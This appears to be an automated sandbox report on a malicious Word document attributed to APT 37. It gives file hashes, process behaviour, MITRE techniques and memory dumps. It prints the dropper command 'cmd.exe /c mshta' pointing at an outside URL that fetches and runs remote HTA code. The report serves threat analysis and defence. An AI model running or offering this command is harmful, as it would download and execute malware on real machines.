b16ebaec337178a9f4c661d84a9998e453f4b693eab3e3fbc9bb6b957661f3c6

Analysis

max time kernel
144s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21-03-2023 23:28

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General

Target

APT 37 Previous Commits 3/NEW(주)엠에스북스 사업자등록증.doc
Size

768KB
MD5

e89725778e52fa571a229cc6e65acd8d
SHA1

11e14587aa9e4c3039a214b21d63a616a32aa01b
SHA256

0474bb7c100c5187c838e5cf14969fdaf04ed541e373aa3b1ad607dd2b420a1b
SHA512

cf070d7c2cd2f2006b55da592f4db8758ec94d3608d91bebef3ba958ac34bbabffa7dc2f17f52a77349ea922e6efbd22fddb74b6aaadd37593be2f28c3bcbb82
SSDEEP

12288:5eNs9H0fEccVGYEOH1uW7vyaQaHbB/g+1ev/6d6htoWHdttOOJVYqTz:YeRcBc1u6tHHbm/QUoW9XOO8

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/10.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1680	1560	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

29 1484 mshta.exe

flow	pid	process
29	1484	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1560 WINWORD.EXE
1560 WINWORD.EXE
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

WINWORD.EXE

pid process

1560 WINWORD.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE

pid process

1560 WINWORD.EXE
1560 WINWORD.EXE
1560 WINWORD.EXE
1560 WINWORD.EXE

pid	process
1560	WINWORD.EXE
1560	WINWORD.EXE

pid	process
1560	WINWORD.EXE

pid	process
1560	WINWORD.EXE
1560	WINWORD.EXE
1560	WINWORD.EXE
1560	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1560 wrote to memory of 1680	1560	WINWORD.EXE	cmd.exe
PID 1560 wrote to memory of 1680	1560	WINWORD.EXE	cmd.exe
PID 1680 wrote to memory of 1484	1680	cmd.exe	mshta.exe
PID 1680 wrote to memory of 1484	1680	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\APT 37 Previous Commits 3\NEW(주)엠에스북스 사업자등록증.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c mshta http://attiferstudio.com/install.bak/sony/10.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\system32\mshta.exe
mshta http://attiferstudio.com/install.bak/sony/10.html
3⤵
- Blocklisted process makes network request
PID:1484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1560-133-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-135-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-134-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-136-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-137-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-138-0x00007FFBAEAE0000-0x00007FFBAEAF0000-memory.dmp

Filesize
64KB

Download
memory/1560-139-0x00007FFBAEAE0000-0x00007FFBAEAF0000-memory.dmp

Filesize
64KB

Download
memory/1560-170-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-169-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-172-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download
memory/1560-171-0x00007FFBB0E10000-0x00007FFBB0E20000-memory.dmp

Filesize
64KB

Download